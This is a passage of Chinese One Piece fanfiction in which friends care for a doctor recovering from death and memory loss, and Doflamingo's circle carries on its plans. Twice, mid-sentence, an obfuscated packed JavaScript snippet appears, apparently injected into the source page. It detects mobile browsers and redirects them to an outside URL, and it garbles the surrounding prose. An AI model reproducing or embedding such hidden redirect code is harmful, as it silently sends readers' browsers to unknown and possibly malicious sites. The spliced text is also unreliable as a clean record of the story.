多弗已经凑到病床旁边了,弯下身子看他。罗西南迪还是没动。 “呋呋呋要是我们还是天龙人就好了,对吧,罗西?” 他也努力不去想这句话背后的含义。 门上被敲了一下,库洛卡斯在外面说探望时间到了。他没由来地松一口气,不确定到底是因为他没法去看这样的茵弗,还是因为继续呆下去自己的兄长不知会滑落成什么样。 他跟在多弗身后出门,有些疑惑为什么他们要去大医院,“我们去看看那个把他从地狱里拉回来的小子。”罗西南迪对他语气里的东西感到焦虑,在走到外面时点了一根烟。 ''如果他做了让您不喜欢的事,就告诉我,我去揍他。'' 也许...这样能让他醒得快一点?他摔在地上,不小心点燃了自己。 香克斯如此期望。 他和巴基得到巴/雷特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034187|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的消息往回赶,还是慢了些,毕竟对方的小船是快船。 他不敢牵茵弗的手,因为上面有太多的管子,他不敢碰。所以他牵住巴基,握住、攥住、牵住、都差不多。 巴基没有甩开他,也没有回握。 茵弗的头发还是白的,看起来不健康,夹杂着褪色后的枯黄,没有像未知的酒瓶碎片在阳光下的那种闪闪发光。按理说过了这么久,他的发根应该早就长出更多浅金色的新发,但是库洛卡斯只是摇摇头,说他身体机能一片糟。 ''死了太久带来的。'' 确实、就像五天的奴隶已经太久,短暂的死亡也太久。何况他们不知道具体时长,泰佐洛救他的时候已经有“好几分钟”了。 至少他看起来只是在睡觉而已。就像贪睡的猫,或者水缸里的六角龙,一动不动,也许下一次再看的时候就会发现他换了个姿势。 “这家伙...不是很强吗?” 靠在墙边的贝克曼开口,嘴里咬着棒棒糖:“报纸上奇迹游医和玛丽乔亚的奴隶之一没有关系。” 想要伪装不能暴露,他不止要染发,不止要用致幻剂,不止要在脸上涂上大片半永久的纹身,找替罪羊。他也必须在掩护的战斗中,不能暴露自己的实力。 如果世界政府知道是他干的,他建立的一切都会被毁掉,现在的他们还太弱了。 贝克曼:“变强吧,香克斯。下一次,红发海贼团的朋友会得到他需要的帮助。” 红发的船长点点头。 托特兰、玛丽乔亚、他不需要下一次的教训。 巴基握住了他的手。 - 奇迹游医在半年多的游历后,终于带着他的大蜗牛回到奥比塔拉。人们读着报纸,喝着咖啡,咬着牛角面包谈论这一次他会带来什么样的奇迹。 “我没有办法,医生又不是神。” 库蕾哈走出病房,踢开拽着她裤脚流泪的希鲁鲁克。库洛卡斯点点头,询问他们要不要留在这边。上一次乔治他们来的时候他们就拒绝了,所以这一次得到同样的回答他也不意外。 魔女医生接过自己满满一箱的诊费,将趴在地上哭的庸医拽起:“铁桶王国快要换新王了,老娘得盯着点,那小子比他父亲更像个爬虫。” 希鲁鲁克捂着脸犹豫,泪水从他指缝间涌出,哭不尽他的心痛。 “我很想留在这里陪茵弗、但是我们说好了他下次回去,我会让那个国家开满樱花。” 雷利拍拍这个给了他们宝藏的男人,让他挺直脊背:“他会理解的。” 希鲁鲁克突然又扑向库蕾哈,被对方甩过来的手术刀钉在墙上。 “老太婆!!治好他!他得回去看樱花!” “你那破研究也没有进展!老娘说了,你们还是给他找个奇迹吧!” 罗掩上大门,悄悄溜向对街的房。 他回到伙伴们身边,被他们迫不及待地围上来,柯拉松盘腿坐在一旁。 “老太婆当家的说,要找一个奇迹。” 路飞趴在柯拉松的腿上,晃着小小的脚丫。 “那他自己就好了吧尼嘻嘻嘻。” 小丑妆青年摸摸他的头,“但是他在睡觉,路飞,这次我们要帮他。”路飞故作成熟地点点头,大概是没听明白的。 基德一只指头杵在额头上:“奇迹...奇迹是什么来着...除了小姨的名字外...” 路飞:“就是不可思议的好东西啦!比如奇迹的肉!” 基德:“我当然知道!要你教啊臭猴子!” 基拉把基德按下来:“好啦基德,冷静一点...” 路飞:“萨奇和菠萝大鸟怎么还不回来,他给小姨做奇迹的肉就可以了尼嘻嘻!” 萨奇大概是一直不知道这件事吧,不然早就回来了。 罗西南迪换了个话题:“所以,小战士们,有什么想法?” 罗不知道从哪翻出来一本有关昏迷和大脑损伤的医书翻看着,皱眉摇头。这上面的东西不用他那些医生们也知道,奇迹一定是这些东西以外的东西。 艾斯:“白胡子老爹不是说伟大航路有很多不可思议的东西吗,没有什么,神奇药水之类的吗?” 路飞:“哦!上次看到双圈圈彩虹呢,拉克约说彩虹尽头有宝藏,我们去找吧,也许那里有呢!” 萨博捧着脸嘟囔:“现在的很多神奇药水都是小姨做出来的吧,就跟路飞说得一样,如果他醒着他肯定有办法...” 是啊,如果奇迹游医在,他一定有办法。这是什么时候变成一种常识的呢?奇迹一词好像在他身上变得并不起眼,只是名称的前缀,可是当他们无比需要时,才发现有多么难得。 罗宾:“之前茵弗有过,对他来说是''需要奇迹''的时候吗?他当时是怎么办的呢?” 他当时... 马尔科的确瞒着萨奇,也瞒着老爹和所有的家人。等萨奇拿着报纸找他问老师已经回伊甸了,他们什么时候回去,才避无可避的说现在,但是茵弗玛利可能出事了。 报纸上没有奥比塔拉发出确认他死了的消息,而是奇迹游医返回,这是让他唯一敢面对震惊地质问他的兄弟们的底气,包括眼角带疤,咬牙攥着一封信的青少年。 他只是不知道该怎么说。 ''哦,你最爱的家人生命卡烧没了,但是我们可以成为你的新家人,实现你不能在他身上实现的梦想?'' ''哦,没关系老爹我已经不用离开家了,如果是按一开始说好的,为了你身上的伤,他已经给了我全部的解决方法。对了,你很想要的新家人那家伙也给你拐走他的许可了?'' ''哦,对不起大伙,你们很喜欢的朋友,小医生,才是那个闯到圣地放跑奴隶的人,现在大概是死了吧,抱歉我什么忙也没帮上。不过至少他让我有保障莫比迪克不会只能再航行十几年?'' 面对他情绪复杂的大吼,会议室里的队长们都静了下来。马尔科喘着气,不敢对上老爹的眼神。 坐在主位上的男人叹出一口气。他不知道马尔科是否知晓,可是自从茵弗玛利同意收他为学生,在他身上的治疗就已经开始了,而不只是这一次交由他的大量材料。每一次马尔科带回来的“课业”,每一次萨奇端来的“老师让我尝试的食谱”,都一点一滴地修复着他的身体。马尔科带着他的体检报告和病历返回到游医身边继续学习,回到家时拿出的是根据结果不断调整的药方。他自己可以感受到体内的变化,充盈的力量。 对于他这个任性的病人,他开出的处方同样任性到让这位海上皇帝无法拒绝——家人。马尔科成为无比优秀的船医,而萨奇可以是他的好搭档,用食物治愈包括他在内的,每一位船员的身心。 白胡子轰隆隆的声音再次成为慌乱的儿子们的定海神针。他再次对着那个大胆善良,充满勇气与爱的年轻厨师发出正式的邀请。 “成为我的儿子吧,萨奇。” “胡子老爹,我——” “以后你的家人也会是我白胡子的家人。跟着你的兄弟回那小子身边,这一次除了课业外,正式带上白胡子海贼团的尊敬与友情。” 所以马尔科坐在病房外,没打扰在里面对着老师流泪的学生。有些蔫吧的不死鸟揉着额头,在身旁的黑发少女喃喃着他们最近一直在思考的问题时,突然说了一句“恶魔果实yoi?” 莫比迪克的甲板上,悄咪咪靠着怀迪贝大姐的小医生在阳光下翻看着恶魔果实图鉴,和船员们讨论着这些神奇的果子。 ''贼哈哈哈!为什么标注这几个,除了老爹的果实之外,自然系不是更强吗!'' ''我又不需要强大,蒂奇先生,我需要一个奇迹。'' 他标注了什么果实? 70.你还活着呢 远处有一道光,可他已经站在光里。前进的路由寒冰铺成,不、更像死鱼滑溜溜的鱼鳞。他浮着,努力蜷缩脚尖,不去触碰那条路。脊梁刺破后颈,延伸着向上,像一根细细的丝线,用于刺绣、用于与世界告别。 啪、 它断了,赤裸的脚踩在鱼鳞上,不、更像寒冰。环顾四周,明亮的刺眼,可是远处有一道橘色的光。他向它前进了一步,然后停下。 有什么从自己背后呼啸而过,带来尖锐的响,像礼赞歌的最高音,不、列车的鸣笛。他回头,与前方是一模一样的景,只不过没了那方形的暖光。 那是方向? 再回头,它不见了。 不过他知道这光是什么、这路是什么。明亮的是雪,是钟声震荡后的耳鸣,而他站在海上。什么是海? 他换了个方向走,发现没了那束光,哪里都是前进的路。弯腰舀起一捧海,轻飘飘的,像云。伸出舌尖品尝,温热的,带着锈蚀的味道,在鼻腔里挥之不去。 什么又是云? 他跪在地上,用脸去贴低处的面,窥视其中的景——很多直立行走的、人。 他们在上,自己在下。 马蹄声闷闷地从他头顶踏过,他抬头,同样是很多的人。 他们在下,自己在上。 好孤独。 什么是孤独? 我想要一颗蛋。 孩子、你自己就是一颗蛋。 我会孵化成什么? 一只和你母亲一样的白鸽。 他站起身,继续行走在冰冷的波涛上。 - “消息属实吗?” “是、多弗和战国先生都收到消息。” “花五十亿提前买下?还是更多?” “那小子知道肯定说我们败家。” 黑色羽毛大衣的人听着讨论声摇摇头,意识到对面看不见。鲜红的唇微微开启:“我去。” - 快看,是一只白色的蜗牛。 在哪里? 在脚下,你踩到它了。 对不起波比。 波比是谁? 是白色的蜗牛。 他捡起白白的壳,等着其中的软体动物的原谅。将它放到手臂上,看着它慢慢地爬,留下一道黏液。他把它放到自己的后颈上,想让它粘合自己仍然断裂的脊骨。 有些累了,他干脆坐在地上,看看会不会有一艘船来带着自己走,或者一匹飞马。那只蜗牛不见了,不知不觉化成一片雪花,在他的皮肤上凝成一滴水,滑落海中。 仰仰身子,他也向后倒去,任由自己被浸没。他没能飞起来到上面的人身边。 我会有鱼尾吗?等我破壳的时候。 不,孩子,你是一只白鸽。 不是猫吗? 一只猫一样的白鸽。 - “柯拉松!到手了吗!” “快赶去那边,维尔高。” “你的伤——” “没关系,''巴瑞尔在和基伯森的火并里丢了果实,余党被你的小队消灭'',快去吧。” 再次将自己的声音抹去,一只宽大的掌捂住身上的弹孔,另一只紧握着红心状的果实,他背离海军,跑向隐蔽的小船。 - 偶尔会有很近的声音在说话,可是他永远也听不清。也是,到处都是人不是吗。多么奇怪的生物啊,用两只肢体行走,另外两只是干什么的? 他伏在地上,慢慢地用四肢爬行,如果他的脑和他的胃位置调换。仍是两只胳膊两只腿一个头,他是什么? 你是一颗蛋。 我会变成什么?不是鲸吗?蜗牛? 不会。 你怎么知道? 我不知道。 如果蛋碎了,我没能破壳。 那你会化在空气里,变成星星。 这个姿势只要低头就能看见上面的人,一个瘦弱的长发人将一团黑乎乎的东西放在角落。起身准备离开。他隔着海开口:“它是你的吗?” 那个人向下看来,没有找到他,可是用干涩的声音回答道:“我希望它不是我的。” 为什么? 因为我很饿,那样也许我就可以吃掉它,而不感到难过。 哦。这样啊,那是你的蛋。 他继续前行着,与那个人方向相反,将其抛之脑后。 - “拜托了!让我来吧!” “你确定吗?” 小小的手捧着那颗心脏,大口咬了下去,被恶心的味道刺激出眼泪也强行吞下。金色的眼睛微微眯起,和教导他的人一样。 “你需要尽快学会使用它,没有多少时间了。” “我会的,我是他的学生。” - 我想停下了。 - “ROOM快消失了!” “罗小子!再坚持一下!把这里切开!” - 他被人牵住手,一左一右。 左边的手掌布满茧与伤疤,右边的比他要小,软软的。 他们带着他前行。 你们是谁? “是你的幻觉。” 他看看那个黑色胡子的男人,看不懂他脸上的表情。但他模仿着他勾起嘴角,露出洁白的牙。他又看向比自己矮小很多的小女孩,学着她的样子眯起眼睛。 这样对吗? “哦!很棒的笑!” 四周不再明亮的刺眼,他终于站在暖黄色的光里,四四方方,像踏在窗台上的鸟。 哦,原来是这样啊。 我死了? 他们松开他的手。 “你还活着呢。” 可是—— - “你们到底是谁?” 库洛卡斯抹了一把脸,走到床边捡起病历翻阅。哗啦啦的纸张声,仪器的运作声是病房里仅有的声响,即使这里到处都是人。 茵弗的身体不能再用治愈蒲公英,他担心会把他的寿命直接扣到所剩无几。不过利用手术果实的特性,他、威廉、还有再次被叫来的库蕾哈和罗一起尽最大努力做了手术。术后恢复了一段时间,最后醒过来是醒过来了,只是像他预估的那样——乱七八糟。 他没什么反应地当了一星期的植物人,然后突然不知道为什么清醒了,开始尖叫。等到镇定剂的效果褪去,他又无反应了几天,然后在库洛卡斯例行检查的时候突然直起身子,满脸迷茫的像一个刚踏入世界的新蝶。 他叫来雷利、贾巴和露玖,这小子还是一脸茫然,眼睛眨得跟猫头鹰一样缓慢。等眼神终于聚焦在他们身上,开口就是这么一句话。 露玖抑制住心酸的战栗,缓缓走到床边坐下,在想要牵住他的手时被躲开。 “不是你。” 戴花的女人鼻子一酸:“你记得我是谁吗?” 坐在床上的人很认真地看着她,没有回答。她努力微笑着,继续问道:“你记得自己是谁吗?” 仍然只有仪器的声音,还有库洛卡斯写着什么的刷刷声。 “你记得什么?” 深色皮肤的青年眯起眼睛,嘴唇上扬,露出一点牙齿——一个笑。 贾巴拉着仍然僵硬的雷利在病床另一侧坐下,被打量了几眼,“所以...他还是变傻了?我以为手术...” 病床上的人撇嘴:“你才傻了。” 被呛声的男人下意识笑了一声,这倒是比刚进来的时候没有灵魂的样子好点。库洛卡斯开口,说他没傻,得到一个满意点头。他忽视这个小子让他们继续聊天。 露玖将手放在他的手边,但是没有牵上去,温和地遵循医生的话:“你叫茵弗玛利,我叫露玖,我们是在巴苔里拉认识的,那里有很多花。” 他、茵弗、脸上又露出迷茫的神色。露玖耐心地等着他回忆,或者发呆。然后突然,自己的手被握住了,凉凉的。 “你喜欢扶桑花吗?” 哦,她看他的视线方向,大概是在看她头上的花,忍着泪水点点头。 茵弗牵起握住的那只手,轻轻地把它放在自己的头上,温暖的感觉,像橘黄色的光。 他又伸出另一只手,好像要抓握什么,被金发男人牵住了。他偏头看去,视线缓缓扫过男人眼上的一道疤。 “不是你。” 在对方仿佛被烫了一下要松开手时,他反握了回去,把那只手抵上自己的额头。 “但是这次不是幻觉?” 雷利向皱着眉的库洛卡斯投去一个“他在说什么”的眼神,前海贼王的船医摇头,示意他继续配合。 雷利清清嗓子:“不是幻觉,我是雷利,我们在...磁鼓岛上遇见,然后一起在奥罗杰克逊号上航行。” 茵弗嗯了一声,啪地松开脑袋上的两只手,然后突然爽朗地嘻嘻一笑——罗杰犯了错之后的那种笑容。 “我不记得了呢。” 真是乱七八糟。 他还是很多时间像个植物人一样发呆,虽然现在对他说话,运气好他会转转淡金色的眼睛看你。清醒的时候记忆又是一团糟,有的事情完全不记得,但是有的东西又会让他反应很强烈,有的事情在他记忆里时间根本前后颠倒。他当然不记得玛丽乔亚的事情,不过根据泰佐洛所说,他当时的确摔到泡泡舱上了,撞到头,死的时间过长又留下损伤。他们已经通过手术尽最大努力修补,他没变成傻子,库洛卡斯也判断他的记忆可以慢慢恢复,但是—— “痛———!” “那是幻觉,好孩子,你没有事。” 雷利按住不断挣扎,扯掉身上的输液管,甚至针还卡在手里的青年。库洛卡斯不想给他用过多的镇定剂,他担心会对他慢慢恢复的身体造成影响,昨夜已经打过一次了。 今天看来会是清醒时间比较长的日子,他清醒的时间越来越长,本来应该是件好事... 茵弗皱着脸,突然瑟缩了一下。 “好吵——!别叫了!!请!” 雷利啧了一声,喊了声贾巴,戴墨镜的男人从压住他踢腾的腿偏过身,将雷利控制住的青年紧握成拳的手努力展开牵住。 他们不知道他听到什么,估计就是库洛卡斯说的他的能力在玛丽乔亚出问题了。自从鱼人岛他就再也没有过因为听到的东西太吵而被影响到如此的情况,即使是在白胡子身上。 雷利一只手攥着他的两个手腕,另一只手臂拢过他让他一只耳朵靠在自己身上,另一只被他捂住。 怀里的人仍然挣扎着,被贾巴握住的手指不断痉挛。 “不要———!好吵!!” 病房的门被打开了,噼里啪啦摔进来一堆偷听的臭小子,大概是往门上贴得太用力。雷利拧着眉刚要开口,一道慌张的声音就打断了他。 “艾斯——!快跑!!活下去——” 所有人都僵住了,这还是他第一次主动叫出谁的名字。 “路飞!!掉到海里了!!” “基德—萨——” 被哥哥们压在最低下的小子挤出自己的脑袋,笑嘻嘻地大声回应: “哦!我在这儿,小姨!萨博好重哦,尼嘻嘻嘻嘻!” 茵弗安静下来了。 雷利和贾巴对视一眼,对着孩子们点点头,示意他们脚步慢一点过来,就像接近一个惊惧状态的兽。 艾斯拽住雷利一点头就要往里跑的路飞,小心地凑过来,就像是在科尔波山时要打猎一样。只不过这次他们不打算攻击、永远都不会对着这个人攻击。 床上的人又开始一脸放空的表情,在雷利和贾巴缓缓松开他后也没有再次变得激动。 他们不太能经常来看他,想来看他的人太多,他还要做记忆训练和一点复健,状态不定。只有库洛卡斯同意那天他可以接受孩子们做访客时才行。 孩子们凑过来,雷利制止了想往床上爬的路飞和基德。萨博小心地碰碰他的手,“小姨?你好点了吗?” 发色已经褪得差不多的人反应了一会儿,突然伸手摸了摸他的脑袋。 “头发长长了一点?” 萨博的确在考虑把头发留长,虽然一半的原因是他因为发型原因被叫小土豆,长大了之后觉得有点害羞。现在只是比起以前的寸头长了一点而已。 他点点头:“你喜欢吗?还是更喜欢土、土豆...?” 他最喜欢的小姨勾起嘴角,露出一点牙齿。 “男人有漂亮头发当然要留长,要和艾斯一样吗?” 萨博其实没想好,但他很开心,所以他竖起一个大拇指,觉得就留和艾斯一样的头发也很好。 基德从口袋里掏出一个怪模怪样的小机器人,放在他腿上,“我之前忘记了,补给你,它是【保护霸王龙一号】!” 茵弗拎起霸王龙一号,虽然看起来就是人的形状,但是头的地方画了很多尖牙,有一个刺刺的尾巴。 “哦,好帅,我也忘记了。谢谢你提醒我。” 基德到底还是爬上床,动手示意他按肚子上的按钮,然后会有红光从嘴的地方射出来。得意洋洋地讲述霸王龙一号的炫酷。 路飞也爬上来,眼睛里带着星星地扒着茵弗抬起的胳膊要看。 “太帅了!刺头男!激光!我也想要!” “哼哼~” 机械是某种男孩子的浪漫吧,一群脑袋凑过来,叽叽喳喳地讲话。 雷利看茵弗很放松的样子,终于塌下肩膀。贾巴摸摸下巴,说以后多让孩子们来陪他好了,也许会有帮助。 金发男人点点头,准备去喝点酒,好遗忘近来永远在他脑子里挥之不去的痛呼声。 他有时候叫人“你”有时候“您”,有时候叫人名字,第二天又忘记。他已经能下床了,跟着乔治做复健,不过还是要坐轮椅。天气好的话他会在外面逛逛。有时候有人推着他、大人、孩子、有时候他莫名其妙自己就跑出去了,推开门找不到人。 “你又要跑到哪去yoi?” 马尔科落在地上,将搭在肩上的厚披风裹在轮椅上的人身上。奥比塔拉是春岛,但是这个时间还是有些凉,他蹲下身子系上胸前位置的搭扣,抬眼发现茵弗在看着他。 “菠萝。” “哈??你个混蛋真是....” 不死鸟直起身子,在准备绕到对方身后好推他的轮椅的时候突然顿住,心里钻出个想法。 “喂、小医生,我是谁yoi?” “...” 马尔科在他面前后退一步拉开些距离,表演般地伸出一只手,然后从指尖开始燃起青黄色的火焰。茵弗淡金色的眼眸也眯起,绚丽的光在其上起舞。 他伸出手,好像扑火的飞蛾,却被温润的炎亲吻指尖,摸到柔软的羽毛。触感拉远,迫使他顺着它抬头,目睹火焰攀爬到面前的人臂膀上,在向侧方展开时变幻成青黄的羽翼。 马尔科轻轻扇动双翼,在滞空时将腿变成鸟爪,落地时发出一声啪嚓的声响,站回茵弗眼前。 “我是不死鸟马尔科yoi。” 面前的人仍然眯着眼睛,再次伸出手抚摸了两把翅膀内侧最柔软的羽毛,弄得他有点痒。“我想要一根羽毛。” 不死鸟从善如流地收回翅膀,在对方失望的眼神里变回人型,手背一转,捏着根青色的羽毛在他眼前晃晃。 “我是谁yoi?” “...漂亮的菠萝。” 马尔科翻了个白眼,将羽毛塞到他手里,绕回轮椅后握住扶手时没忍住笑笑。果然还是那个臭小鬼嘛,再怎么样也还是他。 “你要去哪yoi?今天还没吃药。” 茵弗捏着他的羽毛向某个方向一挥,好像什么大将军。 “那边,有草药的味道。” 马尔科点头,种植区,他把他朝那个方向推去,在微风里听到一句轻柔的声音。 “您怎么没在白鲸?” “想起来了yoi?” “是要接我去鱼人岛吗?我还没收拾行李。” 他心下了然,虽然只是某一个时间碎片,也乱糟糟的,但是记忆在恢复就好。确实他们刚见面的时候自己也是半兽化的状态,两个人对上的时候视线里大概都是满满的火焰吧。 自己大概给他的第一印象就是青黄色的大鸟这类的? “不去鱼人岛yoi,去看看药园,然后回去吃药。老爹说下一次,我最好能带你一起带回白鲸。” “为什么?我做错事了?” 不死鸟叹了口气:“没有,只是因为他喜欢你yoi。” 今天大概是好的一天,虽然茵弗到药园后就开始发呆,叫他也没反应。 但是之前的交流还不错,疗愈就是这样非线性,走两步,退一步,停一会儿,继续向前。茵弗在教他的时候总是这么跟他说,给老爹治病会很难,但奇迹是人的伟业。 马尔科轻轻地将自己的手掌捂在他的眼睑上,感到睫毛轻轻扫过掌心,小声说一句回去吧,然后调转他们的方向。 快回到他们住的主屋时,萨奇找出来了。他接过马尔科的位置,亲自推着他的老师,念叨着自己给他做了什么甜羹汤,还热乎着,正好喝完药吃。轮椅上的人没反应,马尔科轻轻撞了一下这个大小伙子的肩膀,马上成年,他都快和他一样高了。 “抱歉,萨奇yoi。” 他们俩自从从莫比回来,萨奇在见到茵弗的状态之后,关系就有点紧绷。他试想了一下如果自己在这边,家里的兄弟出了什么事,如果对方瞒着自己,他也会生气的。现在茵弗醒过来,他们关系终于缓和下来,只是需要好好聊聊。 “不、不怪你,马尔科,你当时也不好受吧,老师和你也是朋友。” 不好受真是无法形容。 “而且、老师也...他也想让我加入你们不是吗?他给我留了信,虽然是想让出事时就打开好做打算...”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037884|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 本来萨奇也有点生茵弗的气。虽然他解释了如果他能回来本来打算过两年再询问他的意见,但是如果他没回来他希望他能和白胡子好好聊一聊。只是没料到马尔科把消息压了那么久吧。 但是看到他带着干巴巴的白发躺在病床上,努力地维持着呼吸,看到马尔科红红的眼眶,牙齿咬破的嘴唇,他就不生气了。本来也只是恐慌助长的愤怒,萨奇从来都是一个很看得开的人。 他还活着,自己还有机会亲口告诉他无论他去哪他都是他的老师,他们是家人,这就够了。 “我宽恕了,马尔科。” 老师大概会这么说。 回到主屋他任由露玖将他接过,送到房间里去吃药。自己到炉子边盛起大半碗甜汤,从冰箱里取了个菠萝丢给马尔科后对着睡了懒觉的小鬼头们做了个鬼脸。自己生长期长个子很快,艾斯他们还是小豆丁。 有时候他会觉得库洛卡斯他们故意把药做得很苦是想激起老师的反应,比如现在,露玖带着点笑将空碗拿出房间,从他身旁经过。 已经坐在床上的人眯着眼睛皱鼻子,好像舔到药后吐完沫沫的小猫。 他凑过去将小桌支在对方身前,放下碗后坐在旁边,用勺子舀起一点递到嘴边。 “老师,啊——” 小小的自己站在板凳上,用手认真地揉着土豆丸子。身旁高大的人取过汤匙,轻轻在咕嘟咕嘟冒泡的浓汤里舀起一点吹吹,和他现在动作一样地弯腰递来。 ''小厨子,啊——'' 唇覆盖勺匙,微抿后缓缓抽出,拇指抹去嘴角粘上的汤汁。 “''好吃吗?''” 与那时唯一不同的是没有回应。 但是一只手搭上他握着的勺子,又舀起一点送到嘴里。另一只向前伸出,轻轻用指节刮过他眼角的伤疤。 萨奇弯了眼睛,和记忆里的人一样在得到回答后笑着吮下手指。 是甜的,很好吃,毕竟是他教他的东西。 康复训练还算顺利,他底子好,乔治也是优秀的医生。只是有时候他会变得情绪化,因为自己的身体不听他的话而感到害怕或者不耐。一般贾巴或者雷利会在旁边陪着,观察他的状态,如果有需要的话及时压制安抚。 真是个麻烦的臭小子,和小时候一样,他们偶尔会这么笑。 等到他可以不用一直坐轮椅了,他们就更看不住他了。有一次在港口边上把他捡回来,还在和来往的商人说话。问他为什么不早点回去,他只是笑眯眯地说,我动不了了。 他窝在多弗朗明哥的怀里,因为对方前倾的姿势笼罩在粉红羽毛大衣下,泰佐洛的视角看去就像是一只粉色的大鸟在孵蛋一样。 “呋呋呋呋...所以——” 怀里的人哼唧一声,戴墨镜的人打断自己,低头看去。茵弗皱着眉,伸出手向他的左腿。 “怎么了,医生?” “痛、” “呋呋呋所以说叫你不要跑太远。” 他被看起来了,不能有太长时间不在人视线范围内,他们不想他好不容易获得的进展再次回退到零。抽签,轮流,后来就是纯看谁在附近把他捞走。 多弗朗明哥直起身子,在罗西南迪伸手时将他递过去,自己重新开始翻阅手边的文件。披着黑羽毛大衣的人让茵弗靠在他臂弯里,然后另一只手轻轻帮他按摩着腿。左腿总是比右腿要严重,库洛卡斯说因为有旧伤。 “谢谢。” 罗西南迪笑笑,眼神温柔地问他自己是谁。 “柯拉松。(甜心/红心)” 一只手伸到他的衬衣里,凉凉地摸过他那天在米尼翁岛上留下的弹孔。有点痒,他起了点鸡皮疙瘩,但是没有让他停下。 “疼吗?因为我是吗?” 痛吗?看到他踩在死亡边缘,被仪器淹没的时候大概是痛的。 他摇摇头。 多弗朗明哥没在意他们俩,继续和圆桌对面的绿发青年交谈。史黛拉是伊甸的把手之一,而泰佐洛现在为黑曼巴工作。多弗朗明哥欣赏他,毅力、头脑、魅力、对上面那群人的恨,他一个都不缺。 “谢谢您救我,不过如果只是因为火烈鸟先生对您说了什么而加入黑曼巴,那我会替您揍他,您是自由的。” 所有人都凝固了。 茵弗玛利偏过身子趴在桌子边缘,将下巴支在交叠的双臂上,对着对面哑然的绿发青年微笑。 泰佐洛最先回过神,他不知道恩人之前是怎么样的,可他知道自从对方醒过来之后就一直在恢复。自己和他见过寥寥几面还是第一次听他说这么多话。 他摆摆手:“不不,恩人,我是自愿的。史黛拉在这里过得很好,我也想帮上您...和她一起。但是我因为过去擅长的还是...” 眼底带痣的青年歪头:“可是她跟我说,您喜欢唱歌?表演?很厉害的?” 多弗朗明哥默默地观察着好像一下子回到曾经样子的人,逻辑严谨,敏锐聪慧地和人交谈着。在对方打了个响指向他伸手时扬起嘴角,递过一张名单。 “原来如此,那您去把货币吞掉怎么样...叫什么来着?”在多弗朗明哥补充后他点点头,“杜·费尔德。”他翻看着名单,在一个名字上停顿了一下,“金金果实怎么样?漂亮的。” 茵弗玛利在对面的人点头时伸起一根手指,示意他还没说完。 “史黛拉一直很想看您在大舞台上唱歌,所以您要用得到的东西满足她。” 双头的蛇吐出信子,嘶嘶地询问:“能做到吗?想去做吗?” 泰佐洛伸出手掌,是起誓的动作。 多弗朗明哥挂掉电话虫,通知迪亚曼蒂把金金果实拿来,笑着问既然要娱乐为什么不吞掉欢乐街。 “因为斯图西小姐。我在别处看见过她的名字...可是我也不记得?” 这回没人能帮他补充,白衣的人好像在努力回忆什么,又变得茫然。罗西南迪将他带回自己的怀里,因为惊讶而停止按摩腿部的手转而在他头上摸了摸。 “想不起来就先不想了,你刚刚...” “...嗯?” 他观察了一会儿,和多弗对视一眼,摇了摇头。多弗朗明哥不介意,这已经是很大的惊喜。他在迪亚曼蒂拿来果实时交给绿发青年,在对方吃下后让他适应能力后再来找他,权当要忙碌起来前放个假。 “恩人,我...” 茵弗玛利看向他,困惑的样子堵住他接下来的话,泰佐洛捏紧拳头,坚定地点点头后离开房间。 门关上的一刻兄弟二人注意力就全放在渡鸦孵的蛋身上。淡金色的眼散着,在多弗朗明哥伸出手指戳他鼻子时脸微微上扬去贴。 “呋呋呋,医生?” “...我吗?” “你。” “我是蜗牛。” “你不是。” “哦。” 多弗仍然用指头逗着变得没什么反应的人,问他记得自己是谁吗,就像之前罗西南迪做的那样,只不过没有得到回答。 至少他确实在变好,刚刚的事情就是证明。他还活着,没有随着他和多弗手里的纸片一起逝去。罗西南迪低下头,用软软的金发蹭着仍然不太健康的金,叹了口气。 “呋呋呋呋,你是狗吗,罗西?” “多弗——!” 怀里的人伸手,挠了挠多弗朗明哥的下巴,被一个大脑迷糊着的家伙无意识逗了的人额角带着青筋呋呋呋地笑,捏着他那只手说我就该卸了你这只胳膊。 罗西南迪有点担心多弗这样会不会刺激他应激,但是茵弗玛利没反应,只是收回手,小孩子赌气一样转过身把脸埋在他的衬衫里。 多弗朗明哥戳戳他,见他不理他也就坐回自己的位置,重新拿过文件工作。伊甸鲸计划还在继续,即使创立他的人不在状态。不过即使没有他,也能运转下去,一直都是这样的。 “等泰佐洛适应的差不多先去北海吧。弗雷凡斯过几年就可以用了。” 罗西南迪看着怀里开始打瞌睡的人,仍然轻轻地揉着他的腿,嗯了一声。 “罗小子跟着你?” “应该,他正好回去看看父母,练一练果实能力,茵弗这样子也没法教他。” 多弗朗明哥顿了一下:“呋呋呋手术果实...” 罗西南迪头也没抬就知道哥哥在想什么。 “沃尔夫告诉他永生手术的事了,别想了多弗,他是自由的。” “呋呋我又没说我要他干什么。” “茵弗会揍你的。” 多弗朗明哥递给他高高一摞文件,意思是既然茵弗玛利睡着了他就跟着干活,少讲话。 “你还真是狗绳啊,我的好弟弟。” “你是狗吗,多弗?” 粉色大衣的男人在用抽屉里的枪崩了自己弟弟和给他倒一杯茶让他烫得摔倒在地之间犹豫了一秒。 然后摸摸下巴继续工作。 71.白鲸上的黑影啊,几点了? “头儿...班奇娜...” “啊,我知道,已经五年了。” 